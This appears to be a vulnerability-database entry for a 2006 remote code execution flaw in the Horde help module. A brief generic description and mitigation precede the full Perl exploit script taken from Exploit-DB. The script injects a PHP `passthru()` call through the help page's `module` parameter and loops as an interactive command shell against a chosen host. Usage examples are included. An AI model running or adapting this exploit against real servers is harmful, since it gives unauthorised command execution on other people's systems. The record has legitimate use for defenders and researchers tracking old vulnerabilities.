Horde help module remote execution

vendor:

Horde help module

by:

jolascoaga@514.es

9,3

CVSS

HIGH

Remote Code Execution

CWE

Product Name: Horde help module

Affected Version From: N/A

Affected Version To: N/A

Patch Exists: NO

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2006

Horde help module remote execution

Horde help module remote execution is a vulnerability that allows an attacker to execute arbitrary code on a vulnerable system. The vulnerability is caused by a lack of input validation in the Horde help module, which allows an attacker to inject malicious code into the module. The code is then executed on the vulnerable system, allowing the attacker to gain access to the system and potentially execute malicious code.

Mitigation:

Input validation should be implemented to prevent malicious code from being injected into the Horde help module.

Source

Exploit-DB raw data:

#!/usr/bin/perl 
# Wed Apr  5 21:51:12 CEST 2006 jolascoaga@514.es
#
# Horde help module remote execution
# 
# telnet 310.27.901.33.1109 1689 # thanks horatio for the address
# USER paranoia
# PASS total
# SYST
# REST 100
# REST 0
# PWD
# TYPE A
# PASV
# LIST
# CWD 0days
# GET horddy.pl
#
# w0w this damn 0day ftp is so sexy!
# 
# GO GO GO !! GO GO GO !! Team fall back!
# 
# Example: ./horddy.pl --host=http://www.server.com/horde
# 
# Now for your X-box !
# 
# Greets:
#  - all 514 crew 
#  - mallorca ppl r0xing.
#
# THIS IS PENE! TIMMY!!! LIVIN' A LIE!
# 
 

use strict;
use LWP::UserAgent;
use LWP::Simple;
use HTTP::Request;
use HTTP::Response;
use Getopt::Long;

$| = 1;   # mess with the best? don't mess with my buffer

my ($proxy,$proxy_user,$proxy_pass);
my ($host,$debug,$dir, $command);
my $use_ssl = 0;

my $options = GetOptions (
  'host=s'      => \$host, 
  'dir=s'      => \$dir,
  'proxy=s'           => \$proxy,
  'proxy_user=s'      => \$proxy_user,
  'proxy_pass=s'      => \$proxy_pass,
  'debug'             => \$debug);

&help unless ($host); # please don't try this at home.

$dir = "/horde/" unless($dir);
print "$host - $dir\n";

while () {
print "horddy> "; # lost connection
while(<STDIN>) {
$command=$_;
chomp($command);
last;
}
&send($command);
}

sub buildcmd {# this is a useful comment
my ($cmd) = @_;
# wonderful hacking
$cmd =~ s/ /\%20/gi;
$cmd =~ s/\//\"\.chr\(47\)\.\"/gi;

return $cmd;
}

sub send {
    my ($tmp) = @_;
    my $ok=0;
    my $cmd = buildcmd ($tmp); # this is really magic ^^
    my $socket;
    LWP::Debug::level('+') if $debug; # but remember this is crap :D

    my $ua = new LWP::UserAgent();   
    $ua->agent("Nozilla/P.N (Just for IDS woring)"); # this is not me :/

    my $string = "/$dir/services/help/?show=about&module=;\".passthru(\"$cmd\");'.";

    if ($host !~ /^http/) {
$host = sprintf ("http://%s", $host); # CRAP CRAP CRAP
    }

    my $req = HTTP::Request->new (GET => $host.$string);
    $ua->proxy(['http'] => $proxy) if $proxy;
    $req->proxy_authorization_basic($proxy_user, $proxy_pass) if $proxy_user;

    print $req->as_string() if $debug; 

    my $res = $ua->request($req);
    my $html = $res->content(); 

    foreach (split(/\n/,$html)) {
if ((/<h2/) or (/<br \/>/)) { # brum brum conditionals desmitified
last;
}
print "$_\n" if $ok eq "1"; # i don't think this is usefull 
if (/<body class=/) {
$ok = 1;
}  
    }
}

sub help {
    print "Syntax: ./$0 --host=url --dir=/horde [options]\n";
    print "\t--proxy (http), --proxy_user, --proxy_pass\n";
    print "\t--debug\n";
    print "the default directory is /horde\n";
    print "\nExample\n";
    print "bash# $0 --host=http(s)://www.server.com/\n";
    print "\n";
    exit(1);
}
exit 0;
# y00000w this is the best part.
# remember mallorca es fonki :D

# milw0rm.com [2006-04-07]